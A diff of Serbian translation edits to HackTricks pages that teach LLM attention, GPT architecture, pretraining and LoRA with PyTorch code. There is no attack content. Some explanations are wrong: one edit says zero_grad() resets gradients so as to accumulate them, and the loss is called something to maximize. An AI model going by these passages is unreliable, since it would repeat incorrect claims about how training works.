2. **Normalizacija rezultata da bi se dobile težine pažnje**: Primeni softmax funkciju na rezultate pažnje da bi se dobile težine koje se sabiraju na 1.
|
||||
3. **Izračunavanje vektora konteksta**: Pomnožite umetanje svake reči sa njenom težinom pažnje i saberite rezultate.
|
||||
|
||||
## Samopažnja sa težinama koje se mogu obučavati
|
||||
|
||||
@ -153,7 +155,7 @@ queries = torch.matmul(inputs, W_query)
|
||||
keys = torch.matmul(inputs, W_key)
|
||||
values = torch.matmul(inputs, W_value)
|
||||
```
|
||||
#### Step 2: Izračunavanje skalirane dot-produkta pažnje
|
||||
#### Korak 2: Izračunavanje skalirane dot-produkta pažnje
|
||||
|
||||
**Izračunavanje ocena pažnje**
|
||||
|
||||
@ -174,7 +176,7 @@ Da bismo sprečili da dot proizvodi postanu preveliki, skaliramo ih kvadratnim k
|
||||
|
||||
<figure><img src="../../images/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
#### Step 3: Izračunavanje kontekstualnih vektora
|
||||
#### Korak 3: Izračunavanje kontekstualnih vektora
|
||||
|
||||
Kao u inicijalnom primeru, jednostavno saberite sve matrice vrednosti množeći svaku sa svojom težinom pažnje:
|
||||
|
||||
@ -182,7 +184,7 @@ Kao u inicijalnom primeru, jednostavno saberite sve matrice vrednosti množeći
|
||||
|
||||
### Primer koda
|
||||
|
||||
Uzimajući primer sa [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) možete proveriti ovu klasu koja implementira funkcionalnost samopaznje o kojoj smo govorili:
|
||||
Uzimajući primer sa [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb), možete proveriti ovu klasu koja implementira funkcionalnost samopaznje o kojoj smo govorili:
|
||||
```python
|
||||
import torch
|
||||
|
||||
@ -222,7 +224,7 @@ sa_v2 = SelfAttention_v2(d_in, d_out)
|
||||
print(sa_v2(inputs))
|
||||
```
|
||||
> [!TIP]
|
||||
> Imajte na umu da se umesto inicijalizacije matrica nasumičnim vrednostima, koristi `nn.Linear` da označi sve težine kao parametre za obuku.
|
||||
> Imajte na umu da se umesto inicijalizacije matrica nasumičnim vrednostima, koristi `nn.Linear` da označi sve težine kao parametre za obučavanje.
|
||||
|
||||
## Uzročna Pažnja: Sakrivanje Budućih Reči
|
||||
|
||||
@ -250,7 +252,7 @@ attention_weights = torch.softmax(masked_scores, dim=-1)
|
||||
|
||||
### Maskiranje Dodatnih Težina Pažnje sa Dropout-om
|
||||
|
||||
Da bismo **sprečili prekomerno učenje**, možemo primeniti **dropout** na težine pažnje nakon softmax operacije. Dropout **nasumično postavlja neke od težina pažnje na nulu** tokom obuke.
|
||||
Da bismo **sprečili prekomerno prilagođavanje**, možemo primeniti **dropout** na težine pažnje nakon softmax operacije. Dropout **nasumično postavlja neke od težina pažnje na nulu** tokom obučavanja.
|
||||
```python
|
||||
dropout = nn.Dropout(p=0.5)
|
||||
attention_weights = dropout(attention_weights)
|
||||
@ -409,8 +411,11 @@ Za još jednu kompaktno i efikasnu implementaciju možete koristiti [`torch.nn.M
|
||||
> [!TIP]
|
||||
> Kratak odgovor ChatGPT-a o tome zašto je bolje podeliti dimenzije tokena među glavama umesto da svaka glava proverava sve dimenzije svih tokena:
|
||||
>
|
||||
> Iako bi omogućavanje svakoj glavi da obrađuje sve dimenzije ugrađivanja moglo izgledati korisno jer bi svaka glava imala pristup punim informacijama, standardna praksa je da se **podele dimenzije ugrađivanja među glavama**. Ovaj pristup balansira računarsku efikasnost sa performansama modela i podstiče svaku glavu da uči raznolike reprezentacije. Stoga, deljenje dimenzija ugrađivanja se generalno preferira u odnosu na to da svaka glava proverava sve dimenzije.
|
||||
> Iako bi omogućavanje svakoj glavi da obrađuje sve dimenzije ugrađivanja moglo izgledati korisno jer bi svaka glava imala pristup punim informacijama, standardna praksa je da se **podele dimenzije ugrađivanja među glavama**. Ovaj pristup balansira računarsku efikasnost sa performansama modela i podstiče svaku glavu da uči raznolike reprezentacije. Stoga je deljenje dimenzija ugrađivanja generalno poželjnije od toga da svaka glava proverava sve dimenzije.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,11 +1,13 @@
|
||||
# 5. LLM Arhitektura
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## LLM Arhitektura
|
||||
|
||||
> [!TIP]
|
||||
> Cilj ove pete faze je vrlo jednostavan: **Razviti arhitekturu celog LLM-a**. Spojiti sve, primeniti sve slojeve i kreirati sve funkcije za generisanje teksta ili transformaciju teksta u ID-ove i obrnuto.
|
||||
>
|
||||
> Ova arhitektura će se koristiti za obuku i predikciju teksta nakon što je obučena.
|
||||
> Ova arhitektura će se koristiti i za obuku i za predikciju teksta nakon što je obučena.
|
||||
|
||||
Primer LLM arhitekture sa [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
|
||||
@ -210,7 +212,7 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
```
|
||||
#### **Svrha i Funkcionalnost**
|
||||
|
||||
- **GELU (Gaussian Error Linear Unit):** Aktivaciona funkcija koja uvodi nelinearnost u model.
|
||||
- **GELU (Gaussian Error Linear Unit):** Aktivacijska funkcija koja uvodi nelinearnost u model.
|
||||
- **Gladka Aktivacija:** Za razliku od ReLU, koja poništava negativne ulaze, GELU glatko mapira ulaze na izlaze, omogućavajući male, nenulte vrednosti za negativne ulaze.
|
||||
- **Matematička Definicija:**
|
||||
|
||||
@ -262,10 +264,10 @@ Ovo je već objašnjeno u ranijem odeljku.
|
||||
- **Ključne Komponente:**
|
||||
- **Upiti, Ključevi, Vrednosti:** Linearne projekcije ulaza, korišćene za izračunavanje ocena pažnje.
|
||||
- **Glave:** Više mehanizama pažnje koji rade paralelno (`num_heads`), svaki sa smanjenom dimenzijom (`head_dim`).
|
||||
- **Ocene Pažnje:** Izračunavaju se kao skalarni proizvod upita i ključeva, skalirane i maskirane.
|
||||
- **Ocene Pažnje:** Izračunate kao skalarni proizvod upita i ključeva, skalirane i maskirane.
|
||||
- **Maskiranje:** Primena uzročnog maskiranja kako bi se sprečilo da model obraća pažnju na buduće tokene (važan za autoregresivne modele poput GPT).
|
||||
- **Težine Pažnje:** Softmax maskiranih i skaliranih ocena pažnje.
|
||||
- **Kontextualni Vektor:** Težinski zbir vrednosti, prema težinama pažnje.
|
||||
- **Vektor Konteksta:** Teženi zbir vrednosti, prema težinama pažnje.
|
||||
- **Izlazna Projekcija:** Linearni sloj za kombinovanje izlaza svih glava.
|
||||
|
||||
> [!TIP]
|
||||
@ -291,13 +293,13 @@ return self.scale * norm_x + self.shift
|
||||
```
|
||||
#### **Svrha i Funkcionalnost**
|
||||
|
||||
- **Layer Normalization:** Tehnika koja se koristi za normalizaciju ulaza preko karakteristika (dimenzije ugradnje) za svaki pojedinačni primer u seriji.
|
||||
- **Normalizacija slojeva:** Tehnika koja se koristi za normalizaciju ulaza preko karakteristika (dimenzije ugradnje) za svaki pojedinačni primer u seriji.
|
||||
- **Komponente:**
|
||||
- **`eps`:** Mala konstanta (`1e-5`) koja se dodaje varijansi kako bi se sprečila deljenje sa nulom tokom normalizacije.
|
||||
- **`scale` i `shift`:** Parametri koji se mogu učiti (`nn.Parameter`) koji omogućavaju modelu da skalira i pomera normalizovani izlaz. Inicijalizovani su na jedinice i nule, redom.
|
||||
- **Proces Normalizacije:**
|
||||
- **Proces normalizacije:**
|
||||
- **Izračunaj Srednju Vrednost (`mean`):** Izračunava srednju vrednost ulaza `x` preko dimenzije ugradnje (`dim=-1`), zadržavajući dimenziju za emitovanje (`keepdim=True`).
|
||||
- **Izračunaj Varijansu (`var`):** Izračunava varijansu `x` preko dimenzije ugradnje, takođe zadržavajući dimenziju. Parametar `unbiased=False` osigurava da se varijansa izračunava koristeći pristrasnog procenjivača (deljenje sa `N` umesto `N-1`), što je prikladno kada se normalizuje preko karakteristika, a ne uzoraka.
|
||||
- **Izračunaj Varijansu (`var`):** Izračunava varijansu `x` preko dimenzije ugradnje, takođe zadržavajući dimenziju. Parametar `unbiased=False` osigurava da se varijansa izračunava koristeći pristrasnog estimatora (deljenje sa `N` umesto `N-1`), što je prikladno kada se normalizuje preko karakteristika, a ne uzoraka.
|
||||
- **Normalizuj (`norm_x`):** Oduzima srednju vrednost od `x` i deli sa kvadratnim korenom varijanse plus `eps`.
|
||||
- **Skaliraj i Pomeri:** Primena parametara `scale` i `shift` koji se mogu učiti na normalizovani izlaz.
|
||||
|
||||
@ -372,7 +374,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
> Transformer blok grupiše sve mreže zajedno i primenjuje neku **normalizaciju** i **dropout** kako bi poboljšao stabilnost i rezultate treniranja.\
|
||||
> Obratite pažnju kako se dropout primenjuje nakon korišćenja svake mreže dok se normalizacija primenjuje pre.
|
||||
>
|
||||
> Pored toga, koristi i prečice koje se sastoje od **dodavanja izlaza mreže sa njenim ulazom**. Ovo pomaže u sprečavanju problema nestajućeg gradijenta osiguravajući da inicijalni slojevi doprinose "onoliko" koliko i poslednji.
|
||||
> Pored toga, koristi i prečice koje se sastoje od **dodavanja izlaza mreže sa njenim ulazom**. Ovo pomaže u sprečavanju problema nestajućeg gradijenta tako što osigurava da inicijalni slojevi doprinose "onoliko" koliko i poslednji.
|
||||
|
||||
### **GPTModel**
|
||||
|
||||
@ -434,17 +436,17 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
|
||||
#### **Svrha i Funkcionalnost**
|
||||
|
||||
- **Ugrađeni slojevi:**
|
||||
- **Token Ugrađivanja (`tok_emb`):** Konvertuje indekse tokena u ugrađivanja. Kao podsetnik, ovo su težine date svakoj dimenziji svakog tokena u rečniku.
|
||||
- **Token Ugrađivanja (`tok_emb`):** Pretvara indekse tokena u ugrađivanja. Kao podsetnik, ovo su težine date svakoj dimenziji svakog tokena u rečniku.
|
||||
- **Pozicijska Ugrađivanja (`pos_emb`):** Dodaje pozicione informacije u ugrađivanja kako bi se uhvatio redosled tokena. Kao podsetnik, ovo su težine date tokenu prema njegovoj poziciji u tekstu.
|
||||
- **Dropout (`drop_emb`):** Primena na ugrađivanja za regularizaciju.
|
||||
- **Transformer Blokovi (`trf_blocks`):** Stek od `n_layers` transformer blokova za obradu ugrađivanja.
|
||||
- **Finalna Normalizacija (`final_norm`):** Normalizacija sloja pre izlaznog sloja.
|
||||
- **Izlazni Sloj (`out_head`):** Projektuje konačne skrivene stanja na veličinu rečnika kako bi proizveo logite za predikciju.
|
||||
- **Izlazni Sloj (`out_head`):** Projektuje konačne skrivene stanje na veličinu rečnika kako bi proizveo logite za predikciju.
|
||||
|
||||
> [!TIP]
|
||||
> Cilj ove klase je da koristi sve druge pomenute mreže da **predvidi sledeći token u sekvenci**, što je fundamentalno za zadatke poput generisanja teksta.
|
||||
>
|
||||
> Obratite pažnju kako će **koristiti onoliko transformer blokova koliko je naznačeno** i da svaki transformer blok koristi jednu mrežu sa više glava, jednu mrežu za unapređenje i nekoliko normalizacija. Dakle, ako se koristi 12 transformer blokova, pomnožite ovo sa 12.
|
||||
> Obratite pažnju kako će **koristiti onoliko transformer blokova koliko je naznačeno** i da svaki transformer blok koristi jednu mrežu sa više glava, jednu mrežu za unapred i nekoliko normalizacija. Dakle, ako se koristi 12 transformer blokova, pomnožite ovo sa 12.
|
||||
>
|
||||
> Štaviše, **normalizacija** sloj se dodaje **pre** **izlaza** i konačni linearni sloj se primenjuje na kraju kako bi se dobili rezultati sa odgovarajućim dimenzijama. Obratite pažnju kako svaki konačni vektor ima veličinu korišćenog rečnika. To je zato što pokušava da dobije verovatnoću po mogućem tokenu unutar rečnika.
|
||||
|
||||
@ -570,7 +572,7 @@ layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
|
||||
pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
|
||||
params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
|
||||
```
|
||||
**Ukupni parametri za sve Transformer blokove**
|
||||
**Ukupni parametri za sve transformator blokove**
|
||||
```python
|
||||
pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers
|
||||
total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
|
||||
@ -579,7 +581,7 @@ total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
|
||||
|
||||
**a. Final Layer Normalization**
|
||||
|
||||
- **Parameters:** `2 * emb_dim` (scale and shift)
|
||||
- **Parameters:** `2 * emb_dim` (skala i pomeraj)
|
||||
```python
|
||||
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
|
||||
```
|
||||
@ -608,7 +610,7 @@ total_params = 163,009,536
|
||||
```
|
||||
## Generiši tekst
|
||||
|
||||
Imajući model koji predviđa sledeći token poput prethodnog, potrebno je samo uzeti poslednje vrednosti tokena iz izlaza (jer će to biti vrednosti predviđenog tokena), što će biti **vrednost po unosu u rečniku** i zatim koristiti `softmax` funkciju da normalizuje dimenzije u verovatnoće koje se sabiraju na 1 i zatim dobiti indeks najvećeg unosa, koji će biti indeks reči unutar rečnika.
|
||||
Imajući model koji predviđa sledeći token kao prethodni, potrebno je uzeti poslednje vrednosti tokena iz izlaza (jer će to biti vrednosti predviđenog tokena), što će biti **vrednost po unosu u rečniku** i zatim koristiti `softmax` funkciju da normalizuje dimenzije u verovatnoće koje se sabiraju na 1 i zatim dobiti indeks najvećeg unosa, koji će biti indeks reči unutar rečnika.
|
||||
|
||||
Kod sa [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
```python
|
||||
@ -661,6 +663,9 @@ context_size=GPT_CONFIG_124M["context_length"]
|
||||
print("Output:", out)
|
||||
print("Output length:", len(out[0]))
|
||||
```
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,4 +1,6 @@
|
||||
# 6. Pre-trening i učitavanje modela
|
||||
# 6. Predobučavanje i učitavanje modela
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Generisanje teksta
|
||||
|
||||
@ -15,7 +17,7 @@ Da bismo izvršili ispravnu obuku, potrebno je izmeriti predikcije dobijene za o
|
||||
|
||||
Da bismo maksimizovali verovatnoću ispravnog tokena, težine modela moraju biti modifikovane tako da se ta verovatnoća maksimizuje. Ažuriranje težina se vrši putem **backpropagation**. Ovo zahteva **funkciju gubitka koju treba maksimizovati**. U ovom slučaju, funkcija će biti **razlika između izvršene predikcije i željene**.
|
||||
|
||||
Međutim, umesto da radimo sa sirovim predikcijama, radiće se sa logaritmom sa bazom n. Dakle, ako je trenutna predikcija očekivanog tokena bila 7.4541e-05, prirodni logaritam (baza *e*) od **7.4541e-05** je približno **-9.5042**.\
|
||||
Međutim, umesto da radimo sa sirovim predikcijama, radiće se sa logaritmom sa bazom n. Dakle, ako je trenutna predikcija očekivanog tokena bila 7.4541e-05, prirodni logaritam (baza *e*) od **7.4541e-05** je otprilike **-9.5042**.\
|
||||
Zatim, za svaki unos sa dužinom konteksta od 5 tokena, na primer, model će morati da predvidi 5 tokena, pri čemu su prva 4 tokena poslednja od ulaza, a peti je predviđeni. Stoga, za svaki unos ćemo imati 5 predikcija u tom slučaju (čak i ako su prva 4 bila u ulazu, model to ne zna) sa 5 očekivanih tokena i stoga 5 verovatnoća koje treba maksimizovati.
|
||||
|
||||
Dakle, nakon izvršavanja prirodnog logaritma na svaku predikciju, izračunava se **prosek**, **minus simbol se uklanja** (to se zove _cross entropy loss_) i to je **broj koji treba smanjiti što bliže 0** jer je prirodni logaritam 1 jednak 0:
|
||||
@ -25,7 +27,7 @@ Dakle, nakon izvršavanja prirodnog logaritma na svaku predikciju, izračunava s
|
||||
Drugi način da se izmeri koliko je model dobar zove se perplexity. **Perplexity** je metrika koja se koristi za procenu koliko dobro model verovatnoće predviđa uzorak. U modelovanju jezika, predstavlja **nesigurnost modela** prilikom predviđanja sledećeg tokena u nizu.\
|
||||
Na primer, vrednost perplexity od 48725 znači da kada je potrebno predvideti token, model nije siguran koji od 48,725 tokena u rečniku je dobar.
|
||||
|
||||
## Primer pre-treninga
|
||||
## Primer predobučavanja
|
||||
|
||||
Ovo je inicijalni kod predložen u [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) koji je ponekad malo modifikovan
|
||||
|
||||
@ -550,7 +552,7 @@ Sledeća `generate_text` funkcija će primeniti koncepte `top-k`, `temperature`
|
||||
- **`top-k`** znači da ćemo početi da smanjujemo na `-inf` sve verovatnoće svih tokena osim za top k tokena. Dakle, ako je k=3, pre donošenja odluke samo će 3 najverovatnija tokena imati verovatnoću različitu od `-inf`.
|
||||
- **`temperature`** znači da će svaka verovatnoća biti podeljena sa vrednošću temperature. Vrednost od `0.1` će poboljšati najvišu verovatnoću u poređenju sa najnižom, dok će temperatura od `5`, na primer, učiniti da bude ravnija. Ovo pomaže da se poboljša varijacija u odgovorima koje bismo želeli da LLM ima.
|
||||
- Nakon primene temperature, funkcija **`softmax`** se ponovo primenjuje da bi svi preostali tokeni imali ukupnu verovatnoću od 1.
|
||||
- Na kraju, umesto da se bira token sa najvećom verovatnoćom, funkcija **`multinomial`** se primenjuje da **predvidi sledeći token prema konačnim verovatnoćama**. Dakle, ako je token 1 imao 70% verovatnoće, token 2 20% i token 3 10%, 70% vremena biće izabran token 1, 20% vremena biće token 2, a 10% vremena biće token 3.
|
||||
- Na kraju, umesto da se bira token sa najvećom verovatnoćom, funkcija **`multinomial`** se primenjuje da **predvidi sledeći token prema konačnim verovatnoćama**. Dakle, ako je token 1 imao 70% verovatnoće, token 2 20% i token 3 10%, 70% vremena biće izabran token 1, 20% vremena biće token 2, a 10% vremena će biti token 3.
|
||||
```python
|
||||
# Generate text function
|
||||
def generate_text(model, idx, max_new_tokens, context_size, temperature=0.0, top_k=None, eos_id=None):
|
||||
@ -602,14 +604,14 @@ return idx
|
||||
|
||||
> [!TIP]
|
||||
> Drugi način da se poboljša generisani tekst je korišćenjem **Beam search** umesto pohlepnog pretraživanja korišćenog u ovom primeru.\
|
||||
> Za razliku od pohlepnog pretraživanja, koje bira najverovatniju sledeću reč u svakom koraku i gradi jednu sekvencu, **beam search prati top 𝑘 k najviših delimičnih sekvenci** (nazvanih "beams") u svakom koraku. Istražujući više mogućnosti istovremeno, balansira efikasnost i kvalitet, povećavajući šanse za **pronalazak bolje ukupne** sekvence koja bi mogla biti propuštena pohlepnim pristupom zbog ranih, suboptimalnih izbora.
|
||||
> Za razliku od pohlepnog pretraživanja, koje bira najverovatniju sledeću reč na svakom koraku i gradi jednu sekvencu, **beam search prati top 𝑘 k najviših delimičnih sekvenci** (nazvanih "beams") na svakom koraku. Istražujući više mogućnosti istovremeno, balansira efikasnost i kvalitet, povećavajući šanse za **pronalazak bolje ukupne** sekvence koja bi mogla biti propuštena pohlepnim pristupom zbog ranih, suboptimalnih izbora.
|
||||
>
|
||||
> _Napomena da ovo poboljšanje nije uključeno u prethodni kod._
|
||||
|
||||
### Funkcije gubitka
|
||||
|
||||
Funkcija **`calc_loss_batch`** izračunava unakrsnu entropiju predikcije jednog paketa.\
|
||||
Funkcija **`calc_loss_loader`** dobija unakrsnu entropiju svih paketa i izračunava **prosečnu unakrsnu entropiju**.
|
||||
Funkcija **`calc_loss_batch`** izračunava unakrsnu entropiju predikcije jednog batch-a.\
|
||||
Funkcija **`calc_loss_loader`** dobija unakrsnu entropiju svih batch-eva i izračunava **prosečnu unakrsnu entropiju**.
|
||||
```python
|
||||
# Define loss functions
|
||||
def calc_loss_batch(input_batch, target_batch, model, device):
|
||||
@ -641,7 +643,7 @@ return total_loss / num_batches
|
||||
>
|
||||
> _Napomena da ovo poboljšanje nije uključeno u prethodni kod._
|
||||
>
|
||||
> Proverite sledeći primer:
|
||||
> Pogledajte sledeći primer:
|
||||
|
||||
<figure><img src="../../images/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -649,15 +651,15 @@ return total_loss / num_batches
|
||||
|
||||
Funkcije `create_dataloader_v1` i `create_dataloader_v1` su već raspravljane u prethodnom odeljku.
|
||||
|
||||
Odavde primetite kako je definisano da će 90% teksta biti korišćeno za obuku dok će 10% biti korišćeno za validaciju i oba skupa su smeštena u 2 različita učitavača podataka.\
|
||||
Odavde primetite kako je definisano da će 90% teksta biti korišćeno za obuku dok će 10% biti korišćeno za validaciju, a oba skupa su smeštena u 2 različita učitavača podataka.\
|
||||
Napomena da je ponekad deo skupa podataka takođe ostavljen za testni skup kako bi se bolje procenila performansa modela.
|
||||
|
||||
Oba učitavača podataka koriste istu veličinu serije, maksimalnu dužinu i korak i broj radnika (0 u ovom slučaju).\
|
||||
Glavne razlike su u podacima koje koristi svaki, a validatori ne odbacuju poslednji niti mešaju podatke jer to nije potrebno za svrhe validacije.
|
||||
Glavne razlike su podaci koje koristi svaki od njih, a validatori ne odbacuju poslednji niti mešaju podatke jer to nije potrebno za svrhe validacije.
|
||||
|
||||
Takođe, činjenica da je **korak jednak dužini konteksta**, znači da neće biti preklapanja između konteksta korišćenih za obuku podataka (smanjuje prekomerno prilagođavanje, ali i skup podataka za obuku).
|
||||
|
||||
Štaviše, primetite da je veličina serije u ovom slučaju 2 kako bi se podelili podaci u 2 serije, glavni cilj ovoga je omogućiti paralelnu obradu i smanjiti potrošnju po seriji.
|
||||
Štaviše, primetite da je veličina serije u ovom slučaju 2 kako bi se podaci podelili u 2 serije, a glavni cilj ovoga je omogućiti paralelnu obradu i smanjiti potrošnju po seriji.
|
||||
```python
|
||||
train_ratio = 0.90
|
||||
split_idx = int(train_ratio * len(text_data))
|
||||
@ -759,15 +761,15 @@ Zatim, velika funkcija `train_model_simple` je ta koja zapravo obučava model. O
|
||||
- Učitavač podataka za obuku (sa podacima već odvojenim i pripremljenim za obuku)
|
||||
- Učitavač validacije
|
||||
- **optimizator** koji će se koristiti tokom obuke: Ovo je funkcija koja će koristiti gradijente i ažurirati parametre kako bi smanjila gubitak. U ovom slučaju, kao što ćete videti, koristi se `AdamW`, ali ima mnogo drugih.
|
||||
- `optimizer.zero_grad()` se poziva da resetuje gradijente na svakoj rundi kako bi ih akumulacija bila sprečena.
|
||||
- **`lr`** parametar je **stopa učenja** koja određuje **veličinu koraka** koji se preduzimaju tokom procesa optimizacije prilikom ažuriranja parametara modela. **Manja** stopa učenja znači da optimizator **vrši manje ažuriranja** težina, što može dovesti do **preciznijeg** konvergiranja, ali može **usporiti** obuku. **Veća** stopa učenja može ubrzati obuku, ali **rizikuje prekomerno** prelazak minimuma funkcije gubitka (**preskoči** tačku gde je funkcija gubitka minimizovana).
|
||||
- **Weight Decay** modifikuje korak **Izračunavanja Gubitka** dodavanjem dodatnog člana koji kažnjava velike težine. Ovo podstiče optimizator da pronađe rešenja sa manjim težinama, balansirajući između dobrog prilagođavanja podacima i održavanja modela jednostavnim, sprečavajući prekomerno prilagođavanje u modelima mašinskog učenja tako što obeshrabruje model da dodeljuje preveliku važnost bilo kojoj pojedinačnoj karakteristici.
|
||||
- `optimizer.zero_grad()` se poziva da resetuje gradijente na svakoj rundi kako bi ih akumulirao.
|
||||
- **`lr`** parametar je **stopa učenja** koja određuje **veličinu koraka** koji se preduzimaju tokom procesa optimizacije prilikom ažuriranja parametara modela. **Manja** stopa učenja znači da optimizator **pravi manje ažuriranja** težinama, što može dovesti do **preciznijeg** konvergiranja, ali može **usporiti** obuku. **Veća** stopa učenja može ubrzati obuku, ali **rizikuje prekomerno** preskakanje minimuma funkcije gubitka (**preskoči** tačku gde je funkcija gubitka minimizovana).
|
||||
- **Weight Decay** modifikuje **korak izračunavanja gubitka** dodavanjem dodatnog člana koji kažnjava velike težine. Ovo podstiče optimizator da pronađe rešenja sa manjim težinama, balansirajući između dobrog prilagođavanja podacima i održavanja modela jednostavnim, sprečavajući prekomerno prilagođavanje u modelima mašinskog učenja tako što obeshrabruje model da dodeljuje preveliku važnost bilo kojoj pojedinačnoj karakteristici.
|
||||
- Tradicionalni optimizatori poput SGD sa L2 regularizacijom povezuju weight decay sa gradijentom funkcije gubitka. Međutim, **AdamW** (varijanta Adam optimizatora) odvaja weight decay od ažuriranja gradijenta, što dovodi do efikasnije regularizacije.
|
||||
- Uređaj koji će se koristiti za obuku
|
||||
- Broj epoha: Broj puta da se prođe kroz podatke za obuku
|
||||
- Učestalost evaluacije: Učestalost pozivanja `evaluate_model`
|
||||
- Iteracija evaluacije: Broj serija koje će se koristiti prilikom evaluacije trenutnog stanja modela kada se poziva `generate_and_print_sample`
|
||||
- Početni kontekst: Koja rečenica će se koristiti prilikom pozivanja `generate_and_print_sample`
|
||||
- Početni kontekst: Koja rečenica se koristi kao početna kada se poziva `generate_and_print_sample`
|
||||
- Tokenizer
|
||||
```python
|
||||
# Functions to train the data
|
||||
@ -860,7 +862,7 @@ print(f"Training completed in {execution_time_minutes:.2f} minutes.")
|
||||
```
|
||||
### Print training evolution
|
||||
|
||||
Sa sledećom funkcijom je moguće štampati evoluciju modela dok je bio obučavan.
|
||||
Sa sledećom funkcijom je moguće ispisati evoluciju modela dok je bio obučavan.
|
||||
```python
|
||||
import matplotlib.pyplot as plt
|
||||
from matplotlib.ticker import MaxNLocator
|
||||
@ -941,3 +943,6 @@ Postoje 2 brza skripta za lokalno učitavanje GPT2 težina. Za oba možete lokal
|
||||
## Reference
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,11 +1,13 @@
|
||||
# 7.0. LoRA poboljšanja u finom podešavanju
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## LoRA poboljšanja
|
||||
|
||||
> [!TIP]
|
||||
> Korišćenje **LoRA značajno smanjuje računarske resurse** potrebne za **fino podešavanje** već obučenih modela.
|
||||
> Korišćenje **LoRA značajno smanjuje računarske** resurse potrebne za **fino podešavanje** već obučenih modela.
|
||||
|
||||
LoRA omogućava efikasno fino podešavanje **velikih modela** menjajući samo **mali deo** modela. Smanjuje broj parametara koje treba obučiti, štedeći **memoriju** i **računarske resurse**. To je zato što:
|
||||
LoRA omogućava efikasno fino podešavanje **velikih modela** menjajući samo **mali deo** modela. Smanjuje broj parametara koje treba obučiti, čime se štedi **memorija** i **računarski resursi**. To je zato što:
|
||||
|
||||
1. **Smanjuje broj obučivih parametara**: Umesto da ažurira celu težinsku matricu u modelu, LoRA **delí** težinsku matricu na dve manje matrice (nazvane **A** i **B**). To čini obuku **bržom** i zahteva **manje memorije** jer je potrebno ažurirati manje parametara.
|
||||
|
||||
@ -13,9 +15,9 @@ LoRA omogućava efikasno fino podešavanje **velikih modela** menjajući samo **
|
||||
|
||||
<figure><img src="../../images/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. **Održava originalne težine modela nepromenjenim**: LoRA vam omogućava da zadržite originalne težine modela iste, i samo ažurirate **nove male matrice** (A i B). To je korisno jer znači da je originalno znanje modela očuvano, a vi samo prilagođavate ono što je potrebno.
|
||||
2. **Održava originalne težine modela nepromenjenim**: LoRA vam omogućava da zadržite originalne težine modela iste, i samo ažurirate **nove male matrice** (A i B). To je korisno jer znači da se originalno znanje modela čuva, a vi samo prilagođavate ono što je potrebno.
|
||||
3. **Efikasno fino podešavanje specifično za zadatak**: Kada želite da prilagodite model za **novi zadatak**, možete samo obučiti **male LoRA matrice** (A i B) dok ostavljate ostatak modela nepromenjenim. To je **mnogo efikasnije** od ponovne obuke celog modela.
|
||||
4. **Efikasnost skladištenja**: Nakon finog podešavanja, umesto da čuvate **novi model** za svaki zadatak, potrebno je da sačuvate samo **LoRA matrice**, koje su vrlo male u poređenju sa celim modelom. To olakšava prilagođavanje modela mnogim zadacima bez prekomernog korišćenja skladišta.
|
||||
4. **Efikasnost skladištenja**: Nakon finog podešavanja, umesto da čuvate **cela nova modela** za svaki zadatak, potrebno je da sačuvate samo **LoRA matrice**, koje su veoma male u poređenju sa celim modelom. To olakšava prilagođavanje modela mnogim zadacima bez prekomernog korišćenja skladišta.
|
||||
|
||||
Da biste implementirali LoraLayers umesto Linearnih tokom finog podešavanja, ovde je predložen ovaj kod [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
|
||||
```python
|
||||
@ -59,3 +61,5 @@ replace_linear_with_lora(module, rank, alpha)
|
||||
## Reference
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
